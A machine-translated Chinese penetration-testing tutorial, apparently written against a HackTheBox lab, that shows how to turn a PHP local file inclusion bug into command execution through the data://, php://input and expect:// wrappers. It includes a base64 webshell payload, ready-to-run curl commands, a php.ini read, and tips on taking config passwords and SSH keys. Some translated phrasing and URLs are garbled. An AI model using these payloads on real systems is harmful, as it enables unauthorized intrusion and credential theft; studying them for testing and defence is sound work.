文章总结: 本文详细介绍了如何利用PHP包装器将本地文件包含漏洞升级为远程代码执行,重点解析了data://、php://input和expect://三种包装器的使用方法和前提条件。文章通过具体示例演示了如何检查allowurlinclude配置、如何通过Base64编码传递Webshell以及直接执行系统命令,为渗透测试提供了可操作的技术路径。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,红队,安全工具
LFI 到 RCE:使用 PHP 包装器将文件读取转换为代码执行
haidragon haidragon
安全狗的自我修养
2026年5月7日 14:54 湖南
在小说阅读器读本章
去阅读
官网:http://securitytech.cc
利用 data://、php://input 和 expect://,从一个简单的文件包含错误演变成一个 shell 攻击。
**注意**:这是我的文件包含漏洞系列文章的第二部分。如果您还没有阅读第一部分,我介绍了本地文件包含漏洞 (LFI)、目录遍历、过滤器绕过以及使用
php://filter包装器读取 PHP 源代码——建议您在深入阅读本文之前先阅读第一部分,因为我们将在此基础上进行讲解。
到目前为止,我们所做的一切都只是读取文件——系统文件、配置文件、PHP 源代码。这固然有用,但我们不会止步于此。下一步是在服务器上实际执行代码。
有几种方法可以做到这一点。一种枯燥但有效的方法是翻阅你已经有权访问的文件——配置文件通常包含数据库密码,而人们往往会重复使用密码。检查一下config.php,找到一个凭据,然后尝试用它通过 SSH 登录。或者直接查看/home/username/.ssh/——如果权限设置得比较松散,你或许可以直接获取私钥并成功登录。
但本节并非着重讨论这个。我们将使用 PHP 封装器,通过本地文件包含漏洞直接执行远程代码——无需任何凭据。
为此,我正在 HackTheBox 上的一个机器上进行测试。这里存在漏洞的参数是 <language\_file> language,它通常接收一个语言文件(例如 <language\_file>)es.php来切换页面语言。这就是我们的注入点。
按回车键或点击查看完整尺寸的图片
一个条件
在一切正常运行之前,必须确保一件事:allow_url_include必须在 PHP 配置中启用该选项。默认情况下它是关闭的,但这种情况比您想象的要普遍得多——许多插件和 Web 应用程序都会启用它才能正常工作。
我们可以像之前阅读源代码一样检查它——使用php://filter包装器提取 PHP 配置文件并对其进行 base64 编码:
curl "http: // <IP> : <端口> /index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini "
解码输出结果并用 grep 命令查找该设置:
echo 'W1BIUF0K....' | base64 -d | grep allow_url_include
如果你能回来:
allow_url_include =开启
一切就绪。
数据//包装器
这个data://封装器允许你将数据直接注入到包含文件中——包括 PHP 代码。思路很简单:编写一个 Web shell,对其进行 Base64 编码,然后将其传递给封装器。服务器会对其进行解码并执行。
首先,对 shell 进行编码:
echo ' <?php system ( $_GET [ "cmd" ]); ?> ' | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
然后将其传递给包装器,并在末尾加上你的命令:
http : //<IP>:<PORT> /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
或者使用 curl:
curl -s 'http:// <IP> : <PORT> /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id ' | grep uid
按回车键或点击查看完整尺寸的图片
服务器以管理员身份运行了我们的命令www-data。我们成功登录。
php://input 包装器
这种方法原理相同,区别在于不是将 PHP 代码嵌入 URL,而是将其放在 POST 请求的正文中发送。allow_url_include要求也相同。
curl -s -X POST --data ' <?php system ( $_GET [ " cmd" ]); ?> ' \\
"http:// <IP> : <PORT> /index.php?language=php://input&cmd=id " | grep uid
shell 脚本放在 POST 请求体中,命令作为 GET 参数放在 URL 中。需要注意的是,如果存在漏洞的函数只接受 POST 请求而不接受 GET 请求,则无法将其cmd作为 URL 参数传递。在这种情况下,请直接在 PHP 代码中硬编码命令:
<?php system ( 'id' ); ?>
按回车键或点击查看完整尺寸的图片
预期//包装器
这是三者中最简单直接的——它就是专门用来运行命令的。无需 shell,只需直接传递命令即可:
?language= expect : //id
需要注意的是,这expect是一个外部扩展,并非 PHP 默认自带的。它必须手动安装到服务器上。您可以像以前一样检查它是否已安装:
echo 'W1BIUF0K....' | base64 -d | grep expect
# extension=expect
在配置文件中找到它固然令人鼓舞,但这并不能保证它在运行时实际加载。唯一的真正验证方法就是实际测试。在本例中,它在目标设备上不可用,这很常见——虽然这种情况比较少见,但每当遇到本地文件包含漏洞时都值得检查一下。
快速比较
这三个封装器都有一个共同的入口要求——allow_url_include必须启用。区别在于有效载荷的传递方式:
data://所有信息都包含在URL中,并进行Base64编码。php://input— shell 放在 POST 请求体中,命令放在 URL 中。expect://— 无需 shell,命令直接放在 URL 中(罕见)
在下一部分中,我们将完全跳出服务器的框架——我们不再通过 URL 注入代码,而是研究远程文件包含,即在我们的机器上托管我们自己的恶意脚本,并让易受攻击的服务器远程获取并执行它。
-
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《LFI 到 RCE:使用 PHP 包装器将文件读取转换为代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论